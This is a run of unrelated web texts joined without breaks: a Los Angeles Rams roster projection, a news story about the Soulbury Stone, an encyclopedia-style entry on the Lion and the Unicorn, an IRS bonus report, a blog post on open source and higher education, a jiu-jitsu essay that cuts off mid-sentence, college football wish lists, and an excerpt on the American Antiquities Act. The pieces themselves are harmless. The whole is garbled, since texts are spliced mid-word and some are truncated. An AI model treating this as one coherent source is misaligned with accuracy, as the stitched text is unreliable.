Troy Hill, who started some games last year for the Rams really hurt his stock when he was arrested during the season, that arrest will put him on the suspension list for two games and allow him to avoid the final cuts for the time being. Jared Collins, Aarion Penton and Ishmael Adams all are this year’s UDFAs at CB and I don’t feel as though any of them have a shot to make a cut of five which I have. There is some upside on the practice squad, but I don’t see it for them this year and with Blake Countess, I like him a lot, he is just too much like Joyner and Robey-Coleman, so he will either be on the practice squad or cut outright.
Cut: Jared Collins, Aarion Penton, Kevin Peterson, Blake Countess, Ishmael Adams
Safeties (5): LaMarcus Joyner, John Johnson, Cody Davis, Maurice Alexander, Brian Randolph
It is reportedly a fact that LaMarcus Joyner will make the transition to free safety to play alongside last year’s free safety Maurice Alexander, he will now move over to strong safety. The Rams spent a third round pick on Boston College safety/cornerback hybrid John Johnson who is a shoe-in to make the 53-man roster. Lastly, I only had the Rams hanging onto five safeties. The other two were both former UDFAs Cody Davis who is a key special teams contributor and has had some experience on defense and Brian Randolph who could be the big time sleeper who was forgotten after he tore his ACL early in the Dallas Cowboys preseason game last year.
Dravious Wright is this year’s only UDFA safety and while he hits like a brick, I don’t see him offering much more that will entice the Rams into parting with the five I have making the roster. Wright could be a practice squad option along with former Rams practice squad safety Isaiah Johnson. Marqui Christian is likely going to be the last one that can make the safeties, if they keep six I believe he’s on the roster. The problem is that the Rams got better and because of that, they may have to cut a good young player in Christian.
Cut: Dravious Wright, Isaiah Johnson, Marqui Christian
Specialists (3): K Greg Zuerlein, P Johnny Hekker, LS Jake McQuaide
There is zero competition this year for any of these positions and it’s because they are fantastic at what they do. When it’s all said and done Hekker could end up being the greatest punter ever and Zuerlein could end up breaking the longest kick record. McQuaide had competition in newly-signed Andrew East, but that quickly went out the window when the Rams cut him recently. McQuaide was a pro bowler last year so he likely wouldn’t have been going anywhere anyway.
Final Starting Lineup:
QB: Jared Goff
RB: Todd Gurley
FB: Sam Rogers
WR: Robert Woods
WR: Tavon Austin
WR: Cooper Kupp
TE: Tyler Higbee
TE: Gerald Everett
LT: Andrew Whitworth
LG: Rodger Saffold
C: John Sullivan
RG: Rob Havenstein
RT: Greg Robinson
DE: Aaron Donald
NT: Michael Brockers
DE: Dominique Easley
WLB: Robert Quinn
ILB: Alec Ogletree
ILB: Mark Barron
SLB: Connor Barwin
CB: Trumaine Johnson
CB: Kayvon Webster
CB: Nickell Robey-Coleman
FS: LaMarcus Joyner
SS: Maurice Alexander
K: Greg Zuerlein
P: Johnny Hekker
LS: Jake McQuaide
KR: Lance Dunbar
PR: Tavon AustinThere’s a rock in the middle of the road in a in a small village northwest of London.
It's been there for so long, residents built the roads around it. But suddenly, some people feel it's got to go.
And that’s where this story begins.
This rock is known as the Soulbury Stone because it's in the village of Soulbury.
“It’s about the size of an armchair,” says local transportation head Mark Shaw. “So it’s quite sizeable, about 3 feet by 4 feet. So it’s quite easy to see and quite a sizeable feature.”
The residents know it’s there. It’s hard to miss a stone that’s in the middle of the road, after all. But it’s viewed as an historical spot. It survived an effort by two tanks to remove it during World War II. Pagans in the British Isles used to worship these standing stones. And this stone is no different.
Shaw says people still come to visit the stone and worship it. It even gets dressed up now and then, Little Mermaid style.
Residents of Soulbury dress-up their stone as the Little Mermaid. Credit: Soulbury Newsletter
The stone has never been an issue. That is, until recently.
“A car reversed and went into the stone,” says Shaw. “And then the owner sent my council a bill for 1,800 pounds. So we sent one of our engineers out to see what the issue was. And he initially thought that maybe one of the things to do would be to remove the stone.”
Remove the stone.
Those are fighting words in Soulbury. Especially, because the driver was an outsider and no one can remember anyone ever hitting the stone before with their car. It’s kind of hard to miss.
Resident started phoning their representatives. One man threatened to chain himself to the stone.
The news quickly made its way to Shaw. As the man in charge of the road where the stone sits, and as someone aware of its cultural importance, he knew he had to issue a statement fast.
“When I heard the suggestion I said, ‘That’s lunacy. That stone has been here for some 11,000 years. To think of moving it would be absolute madness.”
But he did more than just talk. He traveled to Soulbury to meet with locals and try and find a way to make the road a bit safer for drivers.
“We just used a bit of good ‘ol British common sense. We’re going to treat the stone in a very sympathetic way, maybe put some lining around it to make out of town drivers more aware of the obelisk,” he says.
“But at the end of the day, if you can’t see a large stone, there has to be some question marks as to whether you should be driving.”The lion and the unicorn as they appear on both versions of the Royal coat of arms of the United Kingdom. In the Scottish version (shown right) the two have switched places and both are crowned, and the lion on top is coloured red.
The Lion and the Unicorn are symbols of the United Kingdom. They are, properly speaking, heraldic supporters appearing in the full royal coat of arms of the United Kingdom. The lion stands for England and the unicorn for Scotland. The combination therefore dates back to the 1603 accession of James I of England who was already James VI of Scotland. By extension, they have also been used in the arms of Canada since 1921.
Nursery rhyme [ edit ]
The traditional legend of enmity between the two heraldic animals is recorded in a nursery rhyme which has a Roud Folk Song Index number of 20170. It is usually given with the lyrics:
A Nursery Rhyme Picture Book by The Lion and the Unicorn as they appear inby L. Leslie Brooke
The lion and the unicorn Were fighting for the crown The lion beat the unicorn All around the town.
Some gave them white bread, And some gave them brown; Some gave them plum cake and drummed them out of town.[1]
The legend of the two animals may have been intensified by the Acts of Union 1707 and it was one year later that William King (1663–1712) recorded a verse very similar to the first stanza of the modern rhyme.[1] This seems to have grown to include several other verses. Apart from those above only one survives:
And when he had beat him out, He beat him in again; He beat him three times over, His power to maintain.[1]
In popular culture [ edit ]
This rhyme was played upon by Lewis Carroll, who incorporated the lion and the unicorn as characters in Through the Looking-Glass. Here, the crown they are fighting for belongs to the White King which, given that they are on the White side as well, makes their rivalry all the more absurd. Carroll subverts the traditional view of a lion being alert and calculating by making this particular one slow and rather stupid, although clearly the better fighter. The role of the Unicorn is likewise reversed by the fact that he sees Alice as a "monster", though he promises to start believing in her if she will believe in him. Sir John Tenniel's illustrations for the section caricature Benjamin Disraeli as the Unicorn, and William Ewart Gladstone as the Lion, alluding to the pair's frequent parliamentary battles, although there is no evidence that this was Carroll's intention.[2]
The rhyme is also the basis of an episode in the novel Stardust by Neil Gaiman, in which the protagonists of the novel, Tristran Thorn and Yvaine, witness a lion and a unicorn fight over a crown during their travels through an enchanted forest. The accompanying illustration by Charles Vess applies an Art Nouveau style to a realistic depiction of a lion attacking its prey.
See also [ edit ]
Notes [ edit ]
References [ edit ]The Internal Revenue Service headquarters in Washington, D.C. (Photo11: J. David Ake, AP)
WASHINGTON — The Internal Revenue Service handed out $2.8 million in bonuses to employees with disciplinary issues — including more than $1 million to employees who didn't pay their federal taxes, a watchdog report says.
The report by the Treasury Inspector General for Tax Administration said 1,146 IRS employees received bonuses within a year of substantiated federal tax compliance problems.
The bonuses weren't just monetary. Employees with tax problems received a total of 10,582 hours of paid time off — valued at about $250,000 — and 69 received permanent raises through a step increase, the report said. The report looked at bonuses in 2011 and 2012.
Employees' tax problems included "willful understatement of tax liabilities over multiple tax years, late payment of tax liabilities, and underreporting of income," the report said.
STORY: Top IRS execs rack up big travel bills
"We take seriously our unique role as this nation's tax administrator, and we will strive to implement a policy that protects the integrity of the tax administration system and the reputation of the service," IRS chief Human Capital Officer David Krieg said in a written response to the audit.
The IRS said it has instituted a policy to take conduct into account when handing out bonuses to senior executives. Making that policy apply to all of the agency's workers would require negotiations with the National Treasury Employees Union.
NTEU President Colleen Kelley said the union would review any proposed changes to its contract for the "relatively small number of employees who may have had some overlap between a performance award review period and a conduct issue."
In fiscal year 2012, the agency awarded bonuses of $86.3 million in cash and almost 490,000 hours of time off. About 69% of the agency's 98,000 employees received some kind of bonus.
The IRS suspended most bonuses last year in a cost-savings move to avoid furloughs but restored them in fiscal year 2014.
Non-payment of taxes by federal employees is a government-wide problem. The IRS says 311,536 federal employees were tax delinquents in 2011, owing a total of $3.5 billion.
Bills have been introduced in the House and Senate to fire federal employees with seriously delinquent taxes. The House bill, sponsored by Rep. Jason Chaffetz, R-Utah, failed to clear a procedural hurdle; the Senate bill by Sen. Tom Coburn is in committee.
Follow @gregorykorte on Twitter.
Read or Share this story: http://usat.ly/1id4F74Higher education is not just about producing valuable workers, but about educating people to become thinking, lifelong learners who contribute in many positive ways to society, be that local or global.
The article, The disruptive business model for higher education is open source, is of the mentality that higher education should be funded by companies in return for colleges and universities preparing students (first-and-foremost) for their workforce. Here is my very brief, potentially biased, high level summary of the article:
Higher education should be funded by companies in return for colleges and universities funneling their best and brightest into those companies. Put simply: higher education is about producing valuable workers.
I always struggle with pundits who come up with solutions or the right way to do things when they don't have the required experience in education. Further, education is not just students in seats, but a broad-reaching social agenda. There are massive challenges surrounding the education of a populus, and higher education is no exception. To put these challenges in context, and to help frame why I think the article's proposed 'disruptive model' falls short of the mark, I'm going to do my best to help frame the scale of higher education in terms of dollars (using examples from the USA), and why an 'open disruption' will have to be much broader in scope before it plays a transformative role in education in the US and world today.
Duke University: $10B/year
One example of why strict corporate funding of higher education is, without a doubt, a go-nowhere proposition—higher education is an industry unto itself, and a substantial one at that. Looking at the 2011-2012 annual report from Duke's development office, $350 million dollars were brought in through charitable donations. Corporations represented 13% of that number, whereas 26% came from individuals (alumni, parents, and other individuals). Put another way, corporate giving—just at Duke University—would need to double before it would match donations from individuals. Of that giving, $93 million was budgeted for need-based aid for students to offset the high cost of tuition at the university.
To put these large numbers in context, Duke University is roughly a $10 billion ($10,000,000,000) per year enterprise. Red Hat, one of the most successful publicly-traded open source companies in the world, is a $1B/year company—and only recently. So, Duke University is, as a business, substantially larger than Red Hat. Google is (if I read things correctly) roughly a $50B/year enterprise.
How many Duke Universities could Google support? One? For how long? As long as people are willing to click on ads? Duke was founded in 1838 and Google in 1998: which will last longer? How many schools could Red Hat support? Zero? Or, perhaps Red Hat could support a smaller college. However, small colleges are typically multi-million dollar businesses unto themselves with annual operating budgets in the realm of $70M to $120M or more. Put simply, these institutions have operating budgets that far outstrip their income from external giving.
Now, should their budgets be that big? And, could we serve more with the resources we have? Almost certainly. There is no question that the model is ready for disruption. But, that disruption needs to serve more and do better than we do now, not the alternative. I don't see higher education as an industry funnel for the best and brightest as a'serve more, better' proposition in any way, shape, or form.
Education: $1T/year industry
If the Education Industry Association is to be believed, we should pay attention to this quote:
Education is rapidly becoming a $1 trillion industry, representing 10% of America's GNP and second in size only to the health care industry. Federal and State expenditures on education exceed $750 billion. Education companies, with over $80 billion in annual revenues, already constitute a large sector in the education arena.
Although I have no idea if this number is accurate, other numbers I found were in the range of $650B to $800B/year, implying that education, as an industry, is massive. It is more massive than the internet/technology sector, and suggesting that technology companies (or, any other industry in general) might 'float' education as a financial enterprise because higher education improves its 'talent identification' skill is, at best, lacking in consideration.
How FOSS and MOOCs can disrupt
I believe FOSS (Free and Open Source Software) and open licensing can disrupt traditional industries. I agree with K. Beck's comment on the aforementioned article. I don't believe MOOCs (Massive Open Online Courses) are impressive as they exist today. They're fancy wrappers around textbooks, with automated grading of easily graded content (simple arithmetic and code), and poorly support rich interactions between individuals (as well as other known high-impact aspects of deep and meaningful learning). Put simply, content does not equal learning, and MOOCs simply are not there yet.
Given that we struggle, as educators, to provide support for excellent, authentic learning in traditional contexts (i.e. classroom), the FOSS/libre world has a long way to go to making it happen online. However, the fact that people are collaborating, and exploring, and asking questions about how we can provide more, high quality education to more people around the world is critical. So please, do not take my (brief and extremely condensed) concerns regarding MOOCs as a condemnation of online education or the notion of 'excellent education for all' as an attack on the spirit of the spirit of global, equitable education regardless of place or socioeconomic status.
In fact, the real question is: How do you make a free and open transformation of education go geometric in its scale and impact for linear (or less) cost? If we're going to "educate the world," then we need to figure out how to reach more people, more rapidly than we do now, with fewer resources, and with greater impact in terms of the intellectual and emotional growth of the individual.
All of that said, I do not, for one moment, believe that transforming higher education into a recruiting funnel, funded by corporations, will work. It won't work financially, and more importantly, it completely subverts the purpose of education. It is, I think, an incredibly discriminatory model, and fails to address the spirit of openness and community that is so critical in the open source way. I could say more regarding my personal thoughts about the role of education (primary, secondary, and tertiary), but instead I'll close with UNESCO's definition of the role of education:
Education should be a means to empower children and adults alike to become active participants in the transformation of their societies. Learning should also focus on the values, attitudes and behaviors which enable individuals to learn to live together in a world characterized by diversity and pluralism.
For an open-source disruption of education to be truly powerful and transformative in the world today, it must:
Bring more education to more people Provide a truly transformative educational experiences for learners
Education is about empowering individuals to become transformational members of a society. It is not strictly about stuffing content into brains and recruiting those brains to technology startups. I agree that we have a system rife with inequity, but restricting higher education to be a model for vocational training for any industry is short-sited and ill-considered, at best.
MOOCs and the 1%
Here is the true challenge for MOOCs. Actually, this is a US-centric view of the challenge for MOOCs; the situation on a global scale is even more challenging, because such a massive concentration of wealth exists in the US compared to many other parts of the world. Further, it is important to remember that the largest and most visible MOOCs are not a grassroots effort put forward by the people and for the people. They are business ventures put forward or otherwise backed by some of the richest educational and venture institutions in the world. Personally, I don't believe that MOOCs (and the movement they're part of) are strictly philanthropic venctures.
I'd like to pull an extended quote from Gianpiero Petriglieri's article Let Them Eat MOOCs, posted October 9 on the Harvard Business Rreview Blog Network. This article is full of links that bring together many other articles and posts on the subject of MOOCs, and I recommend reading all of them if you're going to be an informed participant in the discussion of massively open educational opportunities.
All educational institutions have a dual social function: to develop individuals and to develop culture. Sometimes development involves affirmation. Sometimes it involves questioning and reform. All education therefore involves both training and socialization. The knowledge one acquires is not just concepts and skills to become a good employee but also values and mores to become a good citizen—of a society or an enterprise. This is as true of the liberal arts college as it is of the professional school, corporate university, or online diploma factory.
My question about what would it take to transform higher education and make the ideals of open source go geometric in their adoption—to truly, massively scale in the same way that a popular app or video might spread virally through the Internet's population—is not my own question. It is a question that a VP at Red Hat asked me once, as part of an ongoing conversation about how we can bring significantly more people to open source and open educational endeavors. I think that question of scale—of reaching everyone—is insanely challenging, and I don't think we're approaching the problem the right way... yet.
I do know that these large educational endeavors, and bringing the Open Source Way into the educational realm, will mean disruption for our current models. I don't know what those disruptions will look like... but if I'm going to support it, it will need to be education, not colonialization. It will need to be inclusive, not exclusive. It will need to support currently disenfranchised learners, not further exclude the poor and the hungry (actual, not metaphorical) from opportunity.
Anything that furthers the economic and educational disparities we already have is not viable. We can do better. I just wish I knew what it was.Generals have always been accused of being on the ready one war late… – Bruno Latour
I.
One of the known but least acclaimed benefits of jiu-jitsu is the ability it gives you to dictate the severity of a physical encounter. Most of us marvel and fantasize about the million ways we can set up an arm-bar or a choke against a drunk jerk or mugger on the street. The number of times we fantasize about simply controlling someone, like a family member, from harming us or themselves is probably near zero. After all, what’s the fun in a fantasy if you’re not pulling off the absolutely fantastic in it? And who da |
the 40-second play clock in 2008, the umpire stood over the ball for a short period of time before he "wound up" the 25-second play clock. Up-tempo offenses succeed in part by preventing the defense from substituting. This is what's best for the game? The intent of the 40-second clock, to speed up the time of the game, sped up the game itself. I'd rather watch an offense and defense match strategy than watch which team has the most organized sideline. Amend the rule to allow the umpire to stand over the ball for 10 seconds until both teams have had a chance to sub. Let an up-tempo team win because it wears out the defense once the ball is snapped, not before it's snapped.
4. A sleeper conference contender to emerge
It took only four seasons for Stanford (2008-12) and Baylor (2009-13) to rise from the muck and mire of mediocrity to a conference championship. Each school had different issues to overcome and used completely different schemes and recruiting strategies to make the transformation. That means there are a lot of ways that the below-average can become good, and please, let's see it happen some more. So who is so your candidate to win a conference championship in 2017? Mark Stoops at Kentucky? Mike MacIntyre at Colorado? My pick: Butch Jones at Tennessee. You can thank me later, Geno.
5. A sensible (early) signing date
Enough already -- pass a rule allowing an early signing date and move on. None of the issues raised by coaches are insurmountable. The issues that I have heard or read about are either logistical in nature or merely the discomfort raised by a new, unfamiliar rule. None is more important than the result of an early signing date, which would make the lives of the recruits and their families, not to mention the recruiters and their families, a lot more livable.
6. No more games against FCS opposition
It is difficult not to be sympathetic to the well-being of FCS schools that need paycheck games from the FBS in order to pay the bills. But as college football embarks on a new championship path, schedule strength is more important than ever. And fans don't enjoy paying top dollar to see games that are neither interesting nor competitive. If the power conferences don't use their upcoming autonomy to end those games, let's hope the College Football Playoff committee makes the schools that play those games pay a price.
7. The maturation of two elite quarterbacks continues
Rarely do we focus so intensely on one student-athlete that we see his complete physical and emotional maturation over the course of his collegiate career. But we are at that stage in the career of third-year starting quarterback Marcus Mariota at Oregon and second-year starting quarterback Jameis Winston at Florida State. Mariota, an introvert by nature, is steadily fulfilling the duties of on-field leadership that come with being a quarterback. Might we see him actually get in a teammate's face this fall? And Winston's very public struggles shine a harsh light on a physically gifted player who has made really dumb decisions off the field. Can his off-field brain catch up to the mature thinker on the field? Let's hope.
8. Patience with the playoff
Think about how many changes the BCS made over the course of its 16-year existence, from clearly whiffing on the two best teams early (Nebraska over Oregon in '01, Oklahoma over Auburn in '04) to the relative smoothness with which it picked teams over the last few years. Apply that retrospective wisdom to the College Football Playoff and take a deep breath over the next few years. A system that looks good on paper is bound to trip itself up along the way. We just don't know where yet. So let's be patient, understand that the worst playoff is still a playoff, and hope that the future adjustments are tweaks and not mulligans.
9. Oklahoma State succeeds despite APR penalties
Oklahoma State lost two practice hours per week as a result of a low APR score over the most recent four-year period measured. It is good to see an academic rule with teeth in it, but I hope the Cowboys have a great season. In an era when the demands of a program are so great that a federal labor official decided Northwestern looks like an employer, someone needs to demonstrate that student-athletes can win games and have a real college experience. Oklahoma State may be an unwilling test case, but everyone in college football (OK, outside the Big 12) should be rooting for the Cowboys.
10. An end to the Curse of Bo
From the day that Bo Schembechler died in 2006, on the eve of No. 2 Michigan's 42-39 loss at its archrival, No. 1 Ohio State, the Wolverines have a record of 50-41 (.549). That's an average of 7-6, pretty much the definition of mediocrity. And while Michigan State has arisen over that period of time (64-30,.681), there's no rule that says both programs may not succeed at the same time. Although the fact that the Spartans went 13-1 last season while the other four FBS schools in the state (Michigan, Central Michigan, Western Michigan and Eastern Michigan) went 16-33 does make you wonder. Michigan needs to set aside the Curse of Bo this season, and I bet that the Wolverines do so, for state pride if nothing else.
Mark Schlabach
1. The selection committee makes some brave decisions
Chaos has always been good for college football, and here's hoping that the 13-member College football Playoff committee will have to choose from among several undefeated or one-loss teams to fill the four-team College Football Playoff and other major bowls. The committee is striving for as much objectivity and transparency as possible, but there are still a lot of unknowns surrounding the process. I want to see guys like former Nebraska coach Tom Osborne and Wisconsin athletic director Barry Alvarez sweat over some really tough choices, and then keep a straight face when they say their allegiances (current or past) didn't have anything to do with it. I also want to see if the committee is willing to select a one-loss team at the expense of an undefeated team with a soft schedule (such as Baylor or Wisconsin).
2. Can Florida and Michigan rebound?
College football is a lot more enjoyable when Florida-Florida State and Michigan-Ohio State still matter at season's end. That wasn't the case in 2013. Gators coach Will Muschamp is firmly on the hot seat after UF suffered its first losing season since a winless campaign in 1979. The Gators finished 4-8 and lost their last seven games, including an inexcusable 26-20 defeat against FCS foe Georgia Southern in the Swamp. The Wolverines (7-6) had a better record than Florida but lost six of their last eight games. Both teams are banking on new offensive coordinators to revive their inept attacks. Florida hired former Duke offensive coordinator Kurt Roper, who has installed a spread attack; Michigan hired former Alabama coordinator Doug Nussmeier, who will attempt to improve a running game that finished 102nd among FBS teams last season (125.7 yards per game).
3. Trevor Knight flourishes as Oklahoma's quarterback
Sportswriters are supposed to remain objective, but it's hard not to pull for a player like Knight, who was the most impressive student-athlete I talked to this spring. Knight, a sophomore from San Antonio, Texas, reminds me a lot of former Florida quarterback Tim Tebow. Knight is a leader on and off the field, and is the kind of guy you wouldn't have to question casting a Heisman Trophy vote for. Knight enters this season as OU's undisputed starter, after Blake Bell voluntarily moved to tight end and Kendal Thompson transferred to Utah. Knight is coming off his best college game, throwing for 348 yards with four touchdowns on 32-for-44 passing in OU's 45-31 win over Alabama in the Allstate Sugar Bowl. Here's hoping Knight picks up where he left off and isn't derailed by the enormous expectations that have suddenly been placed on him.
4. Georgia running back Todd Gurley stays healthy
Running backs seem to be largely an afterthought in the NFL draft nowadays, but it's still one of the most important positions in college football. Gurley, the Bulldogs' sensational junior star, is the kind of running back who can carry a team on his shoulders. When Gurley is healthy, he might be the most valuable player in the sport. Unfortunately for the Bulldogs, he was banged up too much last season, missing long stretches with groin and ankle injuries. Gurley still managed to run for 989 yards with 10 touchdowns last season, after gaining 1,385 yards with 17 touchdowns as a freshman in 2012. Gurley is too good to be sitting on the sideline. If he stays healthy, he might become a Heisman Trophy finalist and a potential top-10 NFL draft pick.
5. Charlie Strong succeeds at Texas
Strong wasn't the first choice to replace longtime Texas coach Mack Brown, which will make a tough job even more difficult. But Strong paid his dues as a longtime defensive coordinator at South Carolina and Florida, and he more than made his mark after getting his first head-coaching job at Louisville. It would be nice to see another African-American coach succeed in a high-profile position, following in the path of Stanford's David Shaw and Texas A&M's Kevin Sumlin. All three are regarded as being among the best head coaches in the country. The sport has come a long way in terms of hiring minority coaches, but it still has a long, long way to go.
6. Appalachian State and Georgia Southern avoid falling flat on their faces
The small-school powers, which combined to win nine FCS national championships, are jumping into big-boy football this coming season. Well, at least they're joining the Sun Belt Conference in their first season at the FBS level. The Eagles and Mountaineers were really, really good at what they did at the FCS level for a long, long time. But have the programs bitten off more than they can chew by jumping to FBS? The Eagles will play NC State, Georgia Tech and Navy, among others, this coming season; the Mountaineers will play Michigan, Southern Miss and Louisiana-Monroe. Hopefully, they'll adapt to their changes better than Blockbuster and Kodak did.
7. Bobby Petrino falls flat on his face
No, I'm not wishing for another bad case of road burn from a Harley Davidson accident for Petrino, who is about to begin his second stint as Louisville's coach. But you have to wonder if Petrino really learned his lesson after sitting out the 2012 season in exile and working last season at Western Kentucky. That was essentially Petrino's punishment for having an affair with an Arkansas employee, wrecking his motorcycle with the woman on the back, and then lying to Hogs athletic director Jeff Long about the incident. Louisville athletic director Tom Jurich, who hired Petrino for a second time, said his coach is a changed man. I'm betting Petrino could use a little more humility in the Cardinals' first season in the ACC before he truly changes.
8. A sideline flare-up between Nick Saban and his offensive coordinator
There might not be a bigger potential powder keg in college football than Alabama's sideline this coming season. Saban hired Lane Kiffin (formerly the head coach at Tennessee and USC) as his offensive coordinator after Kiffin consulted with the Crimson Tide before their surprising loss to Oklahoma in the Sugar Bowl. Of course, Kiffin was being blamed for Bama's flat offense in that game, and he'll be an easy target for Tide fans if things don't go right again this coming season. Alabama's offense was already a question mark after losing starting quarterback AJ McCarron. FSU transfer Jacob Coker, who sat behind Heisman Trophy winner Jameis Winston last season, is the odds-on favorite to win the job. If Kiffin is smart, he'll hand the ball to T.J. Yeldon and Derrick Henry more than Nussmeier did.
9. A Pac-12 South team challenges Oregon and Stanford
For all the talk about the SEC being top-heavy, the Ducks and Cardinal have largely dominated the Pac-12 recently, combining to win 93 games and the last four conference championships. This coming season might not be any different, either, as Stanford brings back 14 starters and Oregon expects 16 back. Both teams will bring back very good quarterbacks -- Stanford's Kevin Hogan and Oregon's Marcus Mariota -- along with myriad skill players. UCLA might be the biggest challenger from the South, especially after quarterback Brett Hundley decided to return to school. Jim Mora has recruited exceptionally well, and if UCLA can stay healthy on the offensive line, it might have a chance to make a run. The Pac-12 has tremendous depth in both divisions, but it would be nice to see a Pac-12 South team return to the elite.
10. Alabama lines up for a last-second field goal against Auburn
Would there be a more fitting end to the 2014 regular season than having Alabama line up for a last-second field goal vs. Auburn, with a spot in the SEC championship game and potentially the four-team playoff on the line? Last season, the Tigers spoiled Alabama's three-peat BCS title hopes when Tigers defensive back Chris Davis returned a missed field goal more than 100 yards for a touchdown on the final play of No. 4 Auburn's 34-28 upset of the No. 1 Tide. If similar circumstances arise at Bryant-Denny Stadium in Tuscaloosa on Nov. 29, don't be surprised if Saban has Bama's track team on the field.More than a generation before the passing of the American Antiquities Act, looters, amateur archaeologists, and tourists started ravaging sites of ancient human occupation in the American Southwest. The market for antiquities formed a series of steady streams for museums in the United States. Artifacts in private collections were frequently donated to museums (later generations often failed to possess the esoteric drive for collecting mummies or skulls for display above the fireplace). With the rediscovery of Mesa Verde—a vast and complex series of stone structures in Colorado—the Wetherill brothers marked the most prominent of a series of finds in the late nineteenth-century American West. Major discoveries at spectacular places like Mesa Verde, which soon became a national park, became examples that punctuated the countless other smaller incidents of the removal and sale of artifacts—including human remains—occurring at the same time in the United States.
The mission of collecting human remains both synchronized with and actually advanced the arguments of those who were lobbying for the American Antiquities Act. Advocates in favor of legislating burial mounds, cliff dwellings, and other discoveries believed to possess historical significance on public lands represented museums in New York and Washington, DC, as well as anthropologists writing from the field. The chorus was strong enough to push Congress to finally pass the American Antiquities Act of 1906, which ultimately was signed into law by Theodore Roosevelt.
By the middle of the 1890s, newspaper editorials started to echo professional calls for the preservation of antiquities. An editorial appearing in the New York Herald in 1896 argued that “ignorant relic hunters” were clearly to blame for the destruction of antiquities and that only congressional action could save rapidly vanishing sites. The article urgently informed readers, “All these invaluable possessions are fast disappearing, simply for lack of proper legislation to protect them.” As proof, a growing tourist market had created a demand for ancient artifacts and works of art, which were easily bought and sold throughout the American West. If the government failed to act, the editorial warned, American heritage, in the form of “our heirlooms from the American aborigines,” would be unstudied and forever lost.
Other scientists, too, had grown concerned about looting from historic sites around the country, specifically those in the American West. Rediscovering striking archaeological sites in the American Southwest caused a stir both in the academic community and with writers who wrote for popular audiences. The territory of the United States, many were starting to realize, had a deep and rich history extending centuries before European contact. New discoveries in the American West suddenly seemed important to the growing investigation into ancient history in the Americas.
Well before the end of the nineteenth century, serious researchers had come to a collective understanding: significant discoveries of human remains were managed poorly on a national scale. In 1887, Washington Matthews of the U.S. Army took over an expedition for the legendary anthropologist and adventurer Frank Hamilton Cushing after Cushing fell ill. Matthews was horrified to observe the state of important human remains littered throughout the American West. One account notes, “[Matthews] found that no attention had been paid to the collection or preservation of human bones, which were extremely fragile, crumbling to dust upon a touch, and which had been thrown about and trampled under foot by curious visitors, so that but little remained of value from the work which had been previously done.” Matthews took for granted the importance of certain remains, knowing even better than most anthropologists of his era the intellectual desires for skeletons—especially those of American Indians—for comparative anatomy or racial science. Since the majority of Anglo-Americans accepted the idea that the American Indian was, in fact, vanishing, it is unsurprising that Matthews was horrified to find naturally decaying skeletons—bones upended and exposed by looters—left to dust outside the protection of museum walls.
Citing “abuses of power by previous administrations,” President Trump last week signed an order directing the Interior Department to review national monuments created under the American Antiquities Act since 1996. The “ Presidential Order on the Review of Designations Under the Antiquities Act ” calls for the Secretary of the Interior to consider the appropriate classification of landmarks, structures, and objects, the process by which designations were made, the effects of designations, the concerns of State, tribal, and local government affected by designations, and “the requirements and original objectives of the Act.” Those original objectives were recently outlined by historian Samuel Redman in Bone Rooms: From Scientific Racism to Human Prehistory in Museums, which traces how museums in the United States collected, researched, and exhibited human remains, starting around the time of the Civil War and stretching deep into the twentieth century. In the adapted excerpt below, Redman describes how the lawless looting of human remains led to the passage of the American Antiquities Act in 1906, an act that transformed the practice of archaeology in North America and had broad implications for environmental and historical preservation in the American West.
Starting around the turn of the century, archaeological sites in the American West became popular tourist destinations, drawing hordes of elites from the East Coast and even a few curious travelers from Europe. Whereas a generation of elites in the United States had visited museums and fairs to view the striking remnants of ancient North American civilizations, the expansion of the railroad allowed a new generation of tourists to see the West firsthand. Many individuals simply could not resist the temptation to take an ancient artifact home with them as a souvenir, including human remains found in American West. Displays of skulls were commonplace in rural homesteads—a symbol of life, death, and the exotic Native American or pioneer history. Collecting and displaying skulls that had been found on farmsteads seemed almost fitting for many would-be collectors. The media and works of popular fiction popularized the notion of the West as a site for long-forgotten civilizations, cowboys, pioneers, and Native Americans.
In 1905, a feature article in the Los Angeles Herald proclaimed, “[The Southwest] has made a lasting impression on all students, for it is to them what Egypt and its ruins are to Europe. A land of antiquity, rich with the remains of an almost forgotten past. A land enveloped in a cloak of dust with which kindly nature has hermetically sealed her treasures.” This sense of mysticism about the treasures hidden in the American West helped fuel museum administrators’ desire to rescue human remains from that “cloak of dust,” and professional associations responded by forming committees to push for the passage of an act to prevent further looting from important sites.
The final version of the American Antiquities Act legally protected antiquities found on lands held in public domain and instituted penalties through fines. Subsequently, lands with important archaeological, paleontological, or historical material were eligible to become national monuments, thus providing federal protection against damage. This protection, however, was limited. Archaeological objects, rather than human remains, were the priority made explicit in the language of the bill. Several versions of the bill had worked their way through the House and Senate, with some versions even providing for the specific protection of “any aboriginal structure or grave on the public lands of the United States.” Although the work of professional organizations and the early draft proposals viewed by Congress pointed to “cemeteries, graves, [and] mounds,” the final version of the bill notably fails to identify graves and cemeteries specifically. Before the twentieth century, the language of preservation often lumped together human remains and archaeological objects, making equivalent, in practice, the preservation of stone tools and naturally mummified remains. Not only was the language left vague, but without a robust service physically protecting the sites—such as the National Park Service does today—the law initially provided only an easily penetrated shield around historically significant sites.
Early in the development of the American Antiquities Act, Congress turned to experts. According to the official Smithsonian report, William Henry Holmes, the chief of the Bureau of American Ethnology “was called upon to assist in formulating the uniform rules and regulations required by the Departments of the Interior, Agriculture, and War in carrying out the provisions of the law for the preservation of antiquities, to pass upon various applications for permits to explore among the antiquities of the public domain, and to furnish data needful in the selection of archaeological sites to be set aside as national monuments.” Holmes, in turn, supported the efforts of a politically shrewd young archaeologist from New Mexico named Edgar Lee Hewett. Ideas about collecting and research relevant to the Smithsonian’s anthropological collections therefore flowed directly from the museum to Capitol Hill, informing the final specifications of the bill.
In 1904, Hewett, a scholar skilled at working with government officials, bureaucrats, and scientists alike, launched a review of the American Indian antiquities of the American West. Hewett’s lobbying included letter writing and the publication of pamphlets that were circulated to concerned anthropologists and archaeologists (including those working in the field, like Alice Fletcher), as well as to politicians in Washington. His work advised Congress of the various problems related to preservation in the region and helped shape the final language of the bill. Hewett worked to navigate tensions between the Office of the Interior and the Smithsonian Institution, as the two agencies maintained contesting visions over the nature of the bill. Congressional reports on the proposed bill added, “It provides that any person who shall appropriate, excavate, injure, or destroy any historic or prehistoric ruin or monument, or any object of antiquity, situated on lands owned or controlled by the Government of the United States without having... permission... shall, upon conviction be fined in a sum of not more than $500 or be imprisoned for a period of not more than ninety days.”
